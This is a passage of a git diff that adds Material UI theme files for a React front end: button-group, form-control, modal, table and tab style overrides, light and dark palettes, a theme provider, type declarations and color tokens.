colors.gray06, + }, + }, + }, + }, +}; + +const buttons = (mode: PaletteMode): Components => { + return mode === "dark" ? darkButton : lightButton; +}; + +export default buttons; diff --git a/ui-next/src/theme/material/components/buttonsGroup.ts b/ui-next/src/theme/material/components/buttonsGroup.ts new file mode 100644 index 0000000..b0a4481 --- /dev/null +++ b/ui-next/src/theme/material/components/buttonsGroup.ts @@ -0,0 +1,218 @@ +import { PaletteMode, Theme } from "@mui/material"; +import { Components } from "@mui/material/styles"; +import { colors } from "theme/tokens/variables"; + +const lightButtonGroup: Partial> = { + MuiButtonGroup: { + defaultProps: { + disableRipple: true, + variant: "contained", + color: "primary", + size: "medium", + }, + styleOverrides: { + root: { + textTransform: "none", + borderRadius: "6px", + transition: "none", + fontWeight: 500, + boxShadow: "none", + "&.Mui-disabled": { + color: colors.defaultModalBackdropColor, + backgroundColor: colors.sidebarBarelyPastWhite, + borderColor: colors.defaultModalBackdropColor, + }, + }, + + groupedContainedPrimary: { + color: colors.white, + backgroundColor: colors.blueLightMode, + border: `1px solid ${colors.blueLightMode}`, + + ":not(:last-of-type)": { + border: `none`, + borderRight: "1px solid white", + }, + + ":hover": { + color: colors.white, + backgroundColor: colors.blueLightMode, + border: `1px solid ${colors.blueLightMode}`, + boxShadow: `3px 3px 0px 0px ${colors.primaryHoverBoxShadow}`, + ":not(:last-of-type)": { + border: `none`, + borderRight: "1px solid white", + }, + }, + + ":active": { + color: colors.sidebarBlacky, + backgroundColor: colors.darkBlueLightMode, + borderColor: colors.darkBlueLightMode, + boxShadow: "none", + }, + + "&.Mui-disabled": { + color: colors.defaultModalBackdropColor, + backgroundColor: colors.sidebarBarelyPastWhite, + borderColor: colors.defaultModalBackdropColor, + ":not(:last-of-type)": { + border: `1px solid ${colors.defaultModalBackdropColor}`, + }, + }, + }, + + groupedContainedSecondary: { + color: colors.blueLightMode, + backgroundColor: colors.white, + border: `1px solid ${colors.blueLightMode}`, + + ":hover": { + color: colors.blueLightMode, + backgroundColor: colors.white, + border: `1px solid ${colors.blueLightMode}`, + boxShadow: `3px 3px 0px 0px ${colors.secondaryHoverBoxShadow}`, + }, + + ":active": { + color: colors.sidebarBlacky, + backgroundColor: colors.darkBlueLightMode, + borderColor: colors.darkBlueLightMode, + boxShadow: "none", + }, + + ":not(:last-of-type)": { + border: `1px solid ${colors.blueLightMode}`, + }, + "&.Mui-disabled": { + color: colors.defaultModalBackdropColor, + backgroundColor: colors.sidebarBarelyPastWhite, + borderColor: colors.defaultModalBackdropColor, + ":not(:last-of-type)": { + border: `1px solid ${colors.defaultModalBackdropColor}`, + }, + }, + }, + // @ts-ignore + groupedContainedTertiary: { + color: colors.sidebarGrey, + backgroundColor: colors.white, + border: `1px solid ${colors.sidebarFaintGrey}`, + + ":not(:last-of-type)": { + border: `1px solid ${colors.sidebarFaintGrey}`, + }, + ":hover": { + color: colors.greyBg, + backgroundColor: colors.white, + borderColor: colors.sidebarFaintGrey, + boxShadow: `3px 3px 0px 0px ${colors.tertiaryHoverBoxShadow}`, + }, + + ":active": { + color: colors.sidebarGreyDark, + backgroundColor: colors.darkBlueLightMode, + borderColor: colors.darkBlueLightMode, + boxShadow: "none", + }, + + "&.Mui-disabled": { + color: colors.defaultModalBackdropColor, + backgroundColor: colors.sidebarBarelyPastWhite, + borderColor: colors.defaultModalBackdropColor, + ":not(:last-of-type)": { + border: `1px solid ${colors.defaultModalBackdropColor}`, + }, + }, + }, + }, + }, +}; + +const darkButtonGroup: Partial> = { + MuiButtonGroup: { + defaultProps: { + disableRipple: true, + variant: "contained", + color: "primary", + size: "medium", + }, + styleOverrides: { + root: { + textTransform: "none", + borderRadius: "6px", + transition: "none", + fontWeight: 500, + boxShadow: "none", + padding: "8px", + + "&.Mui-disabled": { + border: "none", + color: colors.sidebarFaintGrey, + backgroundColor: colors.sidebarBarelyPastWhite, + }, + }, + groupedContained: { + ":after": { + content: '""', + position: "absolute", + zIndex: -1, + right: 0, + bottom: 0, + width: "100%", + height: "100%", + background: `${colors.blueBackground}`, + border: `1px solid ${colors.sidebarGreyDark}`, + borderRadius: "6px", + opacity: 0, + transition: "opacity 0.3s ease-in-out, transform 0.3s ease-in-out", + }, + + ":hover": { + color: colors.sidebarFaintGrey, + backgroundColor: colors.sidebarGreyDark, + border: `1px solid ${colors.sidebarGreyDark}`, + + ":after": { + opacity: 1, + right: -5, + bottom: -5, + }, + }, + }, + + groupedContainedPrimary: { + "&.Mui-disabled": { + color: colors.gray09, + backgroundColor: colors.gray05, + }, + }, + + groupedContainedSecondary: { + "&.Mui-disabled": { + color: colors.gray05, + backgroundColor: colors.gray02, + }, + ":not(:last-of-type)": { + border: `1px solid ${colors.blueLightMode}`, + }, + }, + // @ts-ignore + groupedContainedTertiary: { + "&.Mui-disabled": { + color: colors.gray05, + backgroundColor: colors.gray02, + }, + ":not(:last-of-type)": { + border: `1px solid ${colors.sidebarFaintGrey}`, + }, + }, + }, + }, +}; + +const buttonsGroup = (mode: PaletteMode): Components => { + return mode === "dark" ? darkButtonGroup : lightButtonGroup; +}; + +export default buttonsGroup; diff --git a/ui-next/src/theme/material/components/dropdownsMenusPopovers.ts b/ui-next/src/theme/material/components/dropdownsMenusPopovers.ts new file mode 100644 index 0000000..547385d --- /dev/null +++ b/ui-next/src/theme/material/components/dropdownsMenusPopovers.ts @@ -0,0 +1,84 @@ +import { fontSizes, lineHeights } from "../../tokens/variables"; +import { Theme } from "@mui/material"; +import { Components } from "@mui/material/styles"; + +const dropdownsMenusAndPopovers = (): Components => { + return { + MuiMenu: { + defaultProps: { + transitionDuration: 0, + elevation: 3, + }, + // styleOverrides: { + // dense: { + // paddingTop: 0, + // paddingBottom: 0, + // }, + // }, + }, + MuiPopover: { + defaultProps: { + elevation: 3, + }, + }, + MuiPopper: { + //@ts-ignore + styleOverrides: { + root: { + zIndex: 90000, + }, + }, + }, + MuiMenuItem: { + styleOverrides: { + root: { + fontSize: fontSizes.fontSize1, + }, + dense: { + paddingTop: 0, + paddingBottom: 0, + }, + }, + }, + MuiListItemText: { + styleOverrides: { + secondary: { + fontSize: fontSizes.fontSize1, + }, + primary: { + fontSize: fontSizes.fontSize1, + }, + }, + }, + MuiListSubheader: { + styleOverrides: { + root: ({ theme }) => ({ + fontSize: fontSizes.fontSize2, + lineHeight: lineHeights.lineHeight1, + paddingTop: theme.spacing(1), + paddingBottom: theme.spacing(1), + }), + }, + }, + MuiSnackbarContent: { + styleOverrides: { + root: ({ theme }) => ({ + backgroundColor: theme.palette.primary.main, + paddingTop: 0, + paddingBottom: 0, + marginRight: theme.spacing(4), + marginLeft: theme.spacing(4), + borderRadius: theme.shape.borderRadius, + boxShadow: "none", + }), + action: ({ theme }) => ({ + "& button": { + color: theme.palette.common.white, + }, + }), + }, + }, + }; +}; + +export default dropdownsMenusAndPopovers; diff --git a/ui-next/src/theme/material/components/formControls.ts b/ui-next/src/theme/material/components/formControls.ts new file mode 100644 index 0000000..9ab85c3 --- /dev/null +++ b/ui-next/src/theme/material/components/formControls.ts @@ -0,0 +1,279 @@ +import { PaletteMode, Theme } from "@mui/material"; +import { Components } from "@mui/material/styles"; + +import { colors, fontSizes, fontWeights } from "theme/tokens/variables"; +import baseTheme from "theme/material/baseTheme"; + +// TODO: get rid of these components after applying new inputs whole app +const enabledNewInputs = true; + +export const SMALL_INPUT_HEIGHT = "36px"; + +export const inputLabelIdleStyles = enabledNewInputs + ? {} + : { + transform: "none", + position: "relative", + fontWeight: fontWeights.fontWeight1, + fontSize: fontSizes.fontSize2, + paddingLeft: 0, + marginBottom: ".3em", + marginTop: 0, + color: colors.gray07, + }; + +export const inputLabelFocusedStyles = { + color: colors.black, +}; + +const formControls = (mode: PaletteMode): Components => { + const darkMode = mode === "dark"; + + return { + MuiFormControl: { + defaultProps: { + size: "small", + }, + styleOverrides: { + root: { + display: "block", + }, + }, + }, + MuiInputBase: { + styleOverrides: { + root: { + fontSize: fontSizes.fontSize2, + }, + input: { + "&[type=number]::-webkit-inner-spin-button ": { + appearance: "none", + margin: 0, + }, + }, + sizeSmall: { + minHeight: SMALL_INPUT_HEIGHT, + }, + }, + }, + MuiTextField: { + defaultProps: { + variant: "outlined", + InputProps: { + notched: false, + }, + InputLabelProps: { + shrink: true, + }, + }, + }, + MuiCheckbox: { + defaultProps: { + size: "small", + }, + styleOverrides: { + root: ({ theme }) => ({ + fontSize: fontSizes.fontSize0, + padding: theme.spacing(2), + }), + colorSecondary: ({ theme }) => ({ + color: colors.blackLight, + "&$checked": { + color: theme.palette.primary.main, + }, + "&$disabled": { + color: colors.blackXLight, + }, + }), + }, + }, + MuiSwitch: { + styleOverrides: { + root: { + padding: 0, + marginRight: 8, + marginLeft: 8, + height: 20, + width: 40, + // These selectors live inside the root override so they share its + // cascade position (injected after MUI's own styles), which beats + // the .MuiSwitch-sizeSmall .MuiSwitch-switchBase specificity that + // size="small" adds and that the switchBase slot alone cannot win. + "& .MuiSwitch-switchBase": { + padding: 2, + top: 0, + }, + "& .MuiSwitch-switchBase.Mui-checked": { + // With padding:2 the switchBase is 20px wide; translateX = 40-20. + transform: "translateX(20px)", + }, + "&:hover": { + "& > $track": { + backgroundColor: colors.gray05, + }, + "& > $checked + $track": { + backgroundColor: colors.brand05, + }, + }, + }, + thumb: { + borderRadius: 8, + width: 16, + height: 16, + color: "white", + boxShadow: + "0px 1px 2px 0px rgba(0, 0, 0, 0.4), 0px 0px 1px 0px rgba(0, 0, 0, 0.4)", + }, + track: ({ theme }) => ({ + backgroundColor: colors.gray07, + borderRadius: 10, + opacity: 1, + ".Mui-checked.Mui-checked + &": { + // track - checked + backgroundColor: theme.palette.green.primary, + opacity: 1, + }, + }), + switchBase: { + padding: 2, + "&$checked": { + "& + $track": { + opacity: 1, + }, + }, + }, + colorPrimary: ({ theme }) => ({ + "&$checked": { + color: theme.palette.common.white, + }, + "&$checked + $track": { + backgroundColor: theme.palette.primary.main, + }, + }), + }, + }, + MuiRadio: { + styleOverrides: { + root: ({ theme }) => ({ + padding: theme.spacing(2), + }), + }, + }, + MuiOutlinedInput: enabledNewInputs + ? {} + : { + defaultProps: { + notched: false, + }, + styleOverrides: { + notchedOutline: { + top: 0, + "& legend": { + // force-disable notched legends + display: "none", + }, + }, + root: { + borderColor: mode === "light" ? colors.gray12 : colors.gray06, + top: 0, + backgroundColor: mode === "light" ? "white" : "none", + "&:hover .MuiOutlinedInput-notchedOutline": { + borderColor: mode === "light" ? colors.gray09 : colors.gray09, + }, + }, + input: ({ theme }) => ({ + paddingLeft: theme.spacing(3), + paddingRight: theme.spacing(3), + marginBottom: "-2px", + }), + }, + }, + MuiFormControlLabel: { + styleOverrides: { + root: { + marginLeft: -8, + }, + }, + }, + MuiInputLabel: { + defaultProps: { + shrink: true, + }, + styleOverrides: { + root: { + pointerEvents: enabledNewInputs ? "auto" : "none", + color: baseTheme.palette.text.primary, + "&.MuiInputLabel-outlined": { + "&.MuiInputLabel-shrink": inputLabelIdleStyles, + "&.MuiInputLabel-focused": inputLabelFocusedStyles, + }, + }, + }, + }, + MuiFormHelperText: { + styleOverrides: { + contained: ({ theme }) => ({ + margin: 0, + marginTop: theme.spacing(2), + }), + }, + }, + MuiSelect: { + styleOverrides: { + icon: { + fontSize: fontSizes.fontSize5, + color: + mode === "dark" ? colors.gray12 : baseTheme.palette.text.primary, + }, + }, + }, + // MuiPickersClockNumber: { + // defaultProps: { + // clockNumber: { + // top: 6, + // }, + // }, + // }, + MuiAutocomplete: { + defaultProps: { + componentsProps: { + paper: { + elevation: 3, + }, + }, + }, + styleOverrides: { + paper: { + fontSize: fontSizes.fontSize2, + boxShadow: `0 0 10px ${ + darkMode ? colors.gray08 : "rgba(0, 0, 0, .3)" + }`, + }, + popupIndicator: { + fontSize: fontSizes.fontSize5, + color: baseTheme.palette.text.primary, + }, + clearIndicator: { + fontSize: fontSizes.fontSize5, + color: darkMode ? colors.gray12 : baseTheme.palette.text.primary, + }, + inputRoot: ({ theme }) => ({ + paddingLeft: theme.spacing(3), + paddingRight: theme.spacing(3), + }), + tag: { + "&:first-of-type": { + marginLeft: 8, + }, + }, + option: { + "&.MuiAutocomplete-option.Mui-focused": { + backgroundColor: darkMode ? colors.blue04 : colors.blue13, + }, + }, + }, + }, + }; +}; + +export default formControls; diff --git a/ui-next/src/theme/material/components/modals.ts b/ui-next/src/theme/material/components/modals.ts new file mode 100644 index 0000000..5b75023 --- /dev/null +++ b/ui-next/src/theme/material/components/modals.ts @@ -0,0 +1,46 @@ +import { colors } from "../../tokens/variables"; +import { PaletteMode, Theme } from "@mui/material"; +import { Components } from "@mui/material/styles"; + +const modals = (mode: PaletteMode): Components => { + return { + MuiDialog: { + styleOverrides: { + paper: ({ theme }) => ({ + borderRadius: theme.spacing(3), + boxShadow: theme.shadows[mode === "dark" ? 24 : 16], + }), + }, + }, + MuiDialogContent: { + styleOverrides: { + root: ({ theme }) => ({ + padding: theme.spacing(6), + }), + }, + }, + MuiDialogActions: { + styleOverrides: { + root: ({ theme }) => ({ + padding: `${theme.spacing(4)} ${theme.spacing(6)}`, + background: colors.blackXXLight, + borderTop: `1px solid ${colors.blackXXLight}`, + margin: 0, + gap: `${theme.spacing(4)}`, + }), + }, + }, + MuiDialogTitle: { + styleOverrides: { + root: ({ theme }) => ({ + fontSize: theme.typography.pxToRem(14), + padding: `${theme.spacing(6)}px ${theme.spacing(5)}px`, + background: colors.blackXXLight, + borderBottom: `1px solid ${colors.blackXXLight}`, + }), + }, + }, + }; +}; + +export default modals; diff --git a/ui-next/src/theme/material/components/paper.ts b/ui-next/src/theme/material/components/paper.ts new file mode 100644 index 0000000..592c22f --- /dev/null +++ b/ui-next/src/theme/material/components/paper.ts @@ -0,0 +1,12 @@ +const paper = { + MuiPaper: { + defaultProps: { + elevation: 0, + }, + styleOverrides: { + borderRadius: "4px", + }, + }, +}; + +export default paper; diff --git a/ui-next/src/theme/material/components/tables.ts b/ui-next/src/theme/material/components/tables.ts new file mode 100644 index 0000000..fdb359f --- /dev/null +++ b/ui-next/src/theme/material/components/tables.ts @@ -0,0 +1,40 @@ +import { fontSizes, fontWeights, colors } from "../../tokens/variables"; + +const tables = { + MuiTablePagination: { + styleOverrides: { + select: { + paddingRight: "32px !important", + }, + selectRoot: { + top: 1, + }, + }, + }, + MuiTableCell: { + styleOverrides: { + root: { + fontSize: fontSizes.fontSize2, + }, + head: { + //border: 'none', + fontWeight: fontWeights.fontWeight1, + color: colors.gray05, + }, + }, + }, + MuiTableRow: { + styleOverrides: { + root: { + "&.Mui-selected:hover": { + backgroundColor: colors.gray12, + }, + "&.Mui-selected": { + backgroundColor: `${colors.gray12} !important`, + }, + }, + }, + }, +}; + +export default tables; diff --git a/ui-next/src/theme/material/components/tabs.ts b/ui-next/src/theme/material/components/tabs.ts new file mode 100644 index 0000000..07f19e3 --- /dev/null +++ b/ui-next/src/theme/material/components/tabs.ts @@ -0,0 +1,36 @@ +import { colors, fontSizes } from "../../tokens/variables"; +import { PaletteMode } from "@mui/material"; + +const tabs = (mode: PaletteMode) => { + const darkMode = mode === "dark"; + + return { + MuiTabs: { + styleOverrides: { + indicator: { + height: 2, + }, + scroller: { + backgroundColor: darkMode ? colors.black : colors.white, + }, + }, + }, + MuiTab: { + defaultProps: { + disableRipple: true, + }, + styleOverrides: { + root: { + textTransform: "none", + color: darkMode ? colors.gray08 : undefined, + "&.Mui-selected": { + color: darkMode ? colors.gray14 : colors.gray00, + }, + fontSize: fontSizes.fontSize2, + }, + }, + }, + }; +}; + +export default tabs; diff --git a/ui-next/src/theme/material/getPaletteForMode.ts b/ui-next/src/theme/material/getPaletteForMode.ts new file mode 100644 index 0000000..1b36825 --- /dev/null +++ b/ui-next/src/theme/material/getPaletteForMode.ts @@ -0,0 +1,221 @@ +import { Palette, PaletteMode, PaletteOptions } from "@mui/material"; +import { ThemeOptions } from "@mui/material/styles"; +import { colors } from "theme/tokens/variables"; +import { FEATURES, featureFlags } from "utils/flags"; + +// TODO: get rid of these components after applying new inputs whole app +const enabledWhiteBackgroundForm = featureFlags.isEnabled( + FEATURES.ENABLE_WHITE_BACKGROUND_FORM, +); + +export const lightModePalette: Partial = { + primary: { + main: colors.primary, + light: colors.bgBrandLight, + dark: colors.bgBrandDark, + contrastText: colors.white, + }, + success: { + main: colors.successTag, + light: colors.green08, + dark: colors.green04, + contrastText: colors.white, + }, + warning: { + main: colors.orange07, + light: colors.orange08, + dark: colors.orange06, + contrastText: colors.white, + }, + secondary: { + main: colors.gray12, + light: colors.gray14, + dark: colors.gray10, + contrastText: colors.gray00, + }, + text: { + primary: colors.black, + secondary: colors.blackXLight, + disabled: colors.blackXXLight, + hint: colors.blackXXLight, + }, + grey: { + 50: colors.gray14, + 100: colors.gray13, + 200: colors.gray12, + 300: colors.gray11, + 400: colors.gray10, + 500: colors.gray09, + 600: colors.gray07, + 700: colors.gray06, + 800: colors.gray04, + 900: colors.gray02, + A100: colors.gray12, + A200: colors.gray08, + A400: colors.gray03, + A700: colors.gray06, + }, + error: { + main: colors.failure, + light: colors.failureLight, + dark: colors.failureDark, + contrastText: colors.white, + }, + background: { + paper: colors.white, + default: colors.gray14, + }, + divider: colors.blackXXLight, + // Custom from here + purple: { + main: colors.purple, + light: colors.lightPurple, + }, + pink: { + main: colors.errorTag, + }, + faintGrey: colors.sidebarFaintGrey, + tertiary: { + main: colors.white, + light: colors.white, + dark: colors.white, + contrastText: colors.sidebarGrey, + }, + blue: { + main: colors.blueLight, + light: colors.blueLightMode, + dark: colors.blueLightMode, + contrastText: colors.blueLightMode, + }, + input: { + text: colors.sidebarBlacky, + label: colors.sidebarUIVersion, + border: colors.greyText2, + focus: colors.blueLightMode, + error: colors.errorRed, + background: colors.white, + disabled: colors.greyText, + }, + label: { + text: colors.sidebarGrey, + disabled: colors.greyText, + }, + green: { + primary: colors.primaryGreen, + }, + customBackground: { + main: colors.sidebarBarelyPastWhite, + form: enabledWhiteBackgroundForm ? colors.white : colors.gray14, + }, +}; + +export const darkModePalette: Partial = { + // Dark mode colors + primary: { + main: colors.primary, + light: colors.bgBrandLight, + dark: colors.bgBrandDark, + contrastText: colors.white, + }, + success: { + main: colors.green06, + light: colors.green06, + dark: colors.green06, + contrastText: colors.white, + }, + warning: { + main: colors.orange06, + light: colors.orange06, + dark: colors.orange06, + contrastText: colors.white, + }, + secondary: { + main: colors.gray04, + light: colors.gray06, + dark: colors.gray08, + contrastText: colors.gray14, + }, + text: { + primary: colors.gray14, + secondary: colors.gray12, + disabled: colors.gray09, + hint: colors.gray09, + }, + grey: { + 50: colors.gray14, + 100: colors.gray13, + 200: colors.gray12, + 300: colors.gray11, + 400: colors.gray10, + 500: colors.gray09, + 600: colors.gray07, + 700: colors.gray06, + 800: colors.gray04, + 900: colors.gray02, + A100: colors.gray12, + A200: colors.gray08, + A400: colors.gray03, + A700: colors.gray06, + }, + error: { + main: colors.failure, + light: colors.failureLight, + dark: colors.failureDark, + contrastText: colors.white, + }, + background: { + paper: colors.gray01, + default: colors.black, + }, + divider: colors.blackXXLight, + // Custom from here + purple: { + main: colors.purple, + light: colors.lightPurple, + }, + pink: { + main: colors.errorTag, + }, + faintGrey: colors.sidebarFaintGrey, + tertiary: { + main: colors.white, + light: colors.white, + dark: colors.white, + contrastText: colors.sidebarGrey, + }, + blue: { + main: colors.blueLight, + light: colors.blueLightMode, + dark: colors.blueLightMode, + contrastText: colors.blueLightMode, + }, + input: { + text: colors.sidebarBlacky, + label: colors.sidebarGrey, + border: colors.greyText2, + focus: colors.blueLight, + error: colors.errorRed, + background: colors.white, + disabled: colors.greyText, + }, + label: { + text: colors.sidebarGrey, + disabled: colors.greyText, + }, + green: { + primary: colors.primaryGreen, + }, + customBackground: { + main: colors.sidebarBarelyPastWhite, + form: enabledWhiteBackgroundForm ? colors.white : colors.gray00, + }, +}; + +export const getPaletteForMode = (mode: PaletteMode): ThemeOptions => { + return { + palette: { + mode, + ...(mode === "light" ? lightModePalette : darkModePalette), + }, + }; +}; diff --git a/ui-next/src/theme/material/provider.tsx b/ui-next/src/theme/material/provider.tsx new file mode 100644 index 0000000..d6f9676 --- /dev/null +++ b/ui-next/src/theme/material/provider.tsx @@ -0,0 +1,33 @@ +import { PaletteMode } from "@mui/material"; +import { ThemeProvider } from "@mui/material/styles"; +import { FunctionComponent, ReactNode, useMemo, useState } from "react"; +import { getTheme } from "../theme"; +import { ColorModeContext } from "./ColorModeContext/ColorModeContext"; + +export const Provider: FunctionComponent<{ children: ReactNode }> = ({ + children, + ...rest +}) => { + const [mode, setMode] = useState("light"); + const toggler = useMemo( + () => ({ + toggleColorMode: () => { + setMode((prevMode) => (prevMode === "light" ? "dark" : "light")); + }, + }), + [], + ); + + // Update the theme only if the mode changes + const lightOrDarkTheme = useMemo(() => { + return getTheme(mode); + }, [mode]); + + return ( + + + {children} + + + ); +}; diff --git a/ui-next/src/theme/material/types/Palette.d.ts b/ui-next/src/theme/material/types/Palette.d.ts new file mode 100644 index 0000000..2a3bd10 --- /dev/null +++ b/ui-next/src/theme/material/types/Palette.d.ts @@ -0,0 +1,69 @@ +import "@mui/material/styles"; + +interface CustomPalette { + purple: { + main: string; + light: string; + }; + pink: { + main: string; + }; + faintGrey: string; + tertiary: { + main: string; + light: string; + dark: string; + contrastText: string; + }; + blue: { + main: string; + light: string; + dark: string; + contrastText: string; + }; + input: { + text: string; + label: string; + border: string; + focus: string; + error: string; + background: string; + disabled: string; + }; + label: { + text: string; + disabled: string; + }; + green: { + primary: string; + }; + customBackground: { + main: string; + form: string; + }; +} + +declare module "@mui/material/styles" { + interface TypeText { + hint: string; + } + interface TypeTextOptions { + hint?: string; + } + + // eslint-disable-next-line @typescript-eslint/no-empty-object-type + interface Palette extends CustomPalette {} + + interface PaletteOptions { + text?: Partial; + input?: Partial; + purple?: Partial; + pink?: Partial; + faintGrey?: string; + tertiary?: Partial; + blue?: Partial; + label?: Partial; + green?: Partial; + customBackground?: Partial; + } +} diff --git a/ui-next/src/theme/styles.ts b/ui-next/src/theme/styles.ts new file mode 100644 index 0000000..8bdbd34 --- /dev/null +++ b/ui-next/src/theme/styles.ts @@ -0,0 +1,46 @@ +import { SxProps, Theme } from "@mui/material"; +import type { ConductorInputStyleProps } from "components/ui/inputs/ConductorInput"; +import { fontSizes } from "theme/tokens/variables"; +import { getColor } from "./theme"; + +// Calculate labelScale here to avoid circular dependency +const defaultFontSize = Number(fontSizes.fontSize3.replaceAll("px", "")); // pixel +export const labelScale = 12 / defaultFontSize; // (12px / input's fontSize) + +export const baseLabelStyle: SxProps = { + fontSize: fontSizes.fontSize3, + fontWeight: 200, + pointerEvents: "auto", + transform: `translate(12px, -9px) scale(${labelScale})`, +}; + +export const inputLabelStyle = ({ + theme, + isFocused, + error, + isInputEmpty, +}: ConductorInputStyleProps): SxProps => ({ + ...baseLabelStyle, + color: getColor({ theme, isFocused, error, isLabel: true, isInputEmpty }), + fontWeight: isFocused ? 500 : 200, + + "&.Mui-disabled": { + color: theme.palette.label.disabled, + }, +}); + +export const formHelperStyle = ({ + theme, + isFocused, + error, + isInputEmpty, +}: ConductorInputStyleProps): SxProps => ({ + fontSize: `${labelScale}em`, + color: getColor({ theme, isFocused, error, isLabel: true, isInputEmpty }), + pl: "8px", + mt: "4px", + + "&.Mui-disabled": { + color: theme.palette.input.text, + }, +}); diff --git a/ui-next/src/theme/theme.ts b/ui-next/src/theme/theme.ts new file mode 100644 index 0000000..e7aa51d --- /dev/null +++ b/ui-next/src/theme/theme.ts @@ -0,0 +1,90 @@ +import type { ConductorInputStyleProps } from "components/ui/inputs/ConductorInput"; +import baseTheme from "./material/baseTheme"; +import appBar from "./material/components/appBar"; +import paper from "./material/components/paper"; +import atoms from "./material/components/atoms"; +import buttons from "./material/components/buttons"; +import formControls from "./material/components/formControls"; +import dropdownsMenusPopovers from "./material/components/dropdownsMenusPopovers"; +import modals from "./material/components/modals"; +import tables from "./material/components/tables"; +import tabs from "./material/components/tabs"; + +import { PaletteMode } from "@mui/material"; + +import { ThemeOptions, createTheme } from "@mui/material/styles"; +import { getPaletteForMode } from "./material/getPaletteForMode"; +import buttonsGroup from "./material/components/buttonsGroup"; + +declare module "@mui/material/Button" { + interface ButtonPropsColorOverrides { + tertiary: true; + } +} +declare module "@mui/material/ButtonGroup" { + interface ButtonGroupPropsColorOverrides { + tertiary: true; + } +} + +export const getOverridesForMode = (mode: PaletteMode) => { + const overrides = { + components: { + ...appBar(mode), + ...paper, + // the tiniest reusables like Chip, Link, SvgIcon, etc. + ...atoms(mode), + // ALL buttons + ...buttons(mode), + // button group + ...buttonsGroup(mode), + // inputs, checkboxes, radios, textareas, autocomplete, etc. + ...formControls(mode), + // all kinds of popovers, dropdowns, toasts, snackbars, + ...dropdownsMenusPopovers(), + ...modals(mode), + ...tables, + ...tabs(mode), + }, + }; + + return overrides as ThemeOptions; +}; + +export const getTheme = (mode: PaletteMode = "light") => { + return createTheme( + baseTheme, + getOverridesForMode(mode), + getPaletteForMode(mode), + ); +}; + +export default getTheme; + +export const LOCAL_STORAGE_DARK_MODE_TOGGLE_KEY = "dark-mode-toggle"; + +export const getColor = ({ + theme, + isFocused, + error, + isLabel, + isInputEmpty, +}: ConductorInputStyleProps) => { + if (error) { + return theme.palette.input.error; + } + + if (isFocused) { + return theme.palette.input.focus; + } + + if (isLabel) { + if (isInputEmpty) { + return theme.palette.input.text; + } + + return theme.palette.input.label; + } + + return theme.palette.input.border; +}; diff --git a/ui-next/src/theme/tokens/colorOverrides.ts b/ui-next/src/theme/tokens/colorOverrides.ts new file mode 100644 index 0000000..9c19539 --- /dev/null +++ b/ui-next/src/theme/tokens/colorOverrides.ts @@ -0,0 +1,41 @@ +import * as colors from "./colors"; + +const brandAliases = { + brand00: colors.indigo00, + brand01: colors.indigo01, + brand02: colors.indigo02, + brand03: colors.indigo03, + brand04: colors.indigo04, + brand05: colors.indigo05, + brand06: colors.indigo06, + brand07: colors.indigo07, + brand08: colors.indigo08, + brand09: colors.indigo09, + brand10: colors.indigo10, + brand11: colors.indigo11, + brand12: colors.indigo12, + brand13: colors.indigo13, + brand14: colors.indigo14, +}; + +const brandShortcuts = { + brand: brandAliases.brand07, + bgBrand: brandAliases.brand07, + bgBrandLight: brandAliases.brand09, + bgBrandDark: brandAliases.brand05, + brandXLight: colors.indigoXLight, + brandXXLight: colors.indigoXXLight, +}; + +const failureAliases = { + failure: colors.red07, + failureLight: colors.red09, + failureDark: colors.red05, +}; + +export const colorOverrides = { + ...colors, + ...brandAliases, + ...brandShortcuts, + ...failureAliases, +}; diff --git a/ui-next/src/theme/tokens/colors.js b/ui-next/src/theme/tokens/colors.js new file mode 100644 index 0000000..877c906 --- /dev/null +++ b/ui-next/src/theme/tokens/colors.js @@ -0,0 +1,838 @@ +// Backgrounds / Black +export const black = "#050505"; + +// Transparents / Black / 00-Black-Light (70%) +export const blackLight = "rgba(5,5,5,0.7)"; + +// Transparents / Black / 01-Black-Xlight (40%) +export const blackXLight = "rgba(5,5,5,0.4)"; + +// Transparents / Black / 02-Black-Xxlight (10%) +export const blackXXLight = "rgba(5,5,5,0.1)"; + +// Backgrounds / Blue / Blue-00 (Xxdark) +export const blue00 = "#00101f"; + +// Backgrounds / Blue / Blue-01 +export const blue01 = "#05192b"; + +// Backgrounds / Blue / Blue-02 +export const blue02 = "#092743"; + +// Backgrounds / Blue / Blue-03 (Xdark) +export const blue03 = "#0d365c"; + +// Backgrounds / Blue / Blue-04 +export const blue04 = "#12487a"; + +// Backgrounds / Blue / Blue-05 (Dark) +export const blue05 = "#165b99"; + +// Backgrounds / Blue / Blue-06 +export const blue06 = "#1b6fb9"; + +// Backgrounds / Blue / -Blue-07 (Base) +export const blue07 = "#1f83db"; + +// Backgrounds / Blue / Blue-08 +export const blue08 = "#5995e1"; + +// Backgrounds / Blue / Blue-09 (Light) +export const blue09 = "#7ea7e7"; + +// Backgrounds / Blue / Blue-10 +export const blue10 = "#9dbaec"; + +// Backgrounds / Blue / Blue-11 (Xlight) +export const blue11 = "#bacdf2"; + +// Backgrounds / Blue / Blue-12 +export const blue12 = "#d2def6"; + +// Backgrounds / Blue / Blue-13 +export const blue13 = "#eaf0fb"; + +// Backgrounds / Blue / Blue-14 (Xxlight) +export const blue14 = "#f7fafd"; + +// Backgrounds / Blue / Blue-15 +export const blue15 = "#1976D2"; + +// Transparents / Blue / 00-Blue-Light (70%) +// export const blueLight = "rgba(31,131,219,0.7)"; + +// Transparents / Blue / 01-Blue-Xlight (40%) +export const blueXLight = "rgba(31,131,219,0.4)"; + +// Transparents / Blue / 02-Blue-Xxlight (10%) +export const blueXXLight = "rgba(31,131,219,0.1)"; + +// Backgrounds / Cyan / Cyan-00 (Xxdark) +export const cyan00 = "#001b1e"; + +// Backgrounds / Cyan / Cyan-01 +export const cyan01 = "#042529"; + +// Backgrounds / Cyan / Cyan-02 +export const cyan02 = "#08373d"; + +// Backgrounds / Cyan / Cyan-03 (Xdark) +export const cyan03 = "#0f4a52"; + +// Backgrounds / Cyan / Cyan-04 +export const cyan04 = "#17616c"; + +// Backgrounds / Cyan / Cyan-05 (Dark) +export const cyan05 = "#207986"; + +// Backgrounds / Cyan / Cyan-06 +export const cyan06 = "#2991a2"; + +// Backgrounds / Cyan / -Cyan-07 (Base) +export const cyan07 = "#32abbe"; + +// Backgrounds / Cyan / Cyan-08 +export const cyan08 = "#5fb8c8"; + +// Backgrounds / Cyan / Cyan-09 (Light) +export const cyan09 = "#80c5d2"; + +// Backgrounds / Cyan / Cyan-10 +export const cyan10 = "#9ed2dc"; + +// Backgrounds / Cyan / Cyan-11 (Xlight) +export const cyan11 = "#badfe6"; + +// Backgrounds / Cyan / 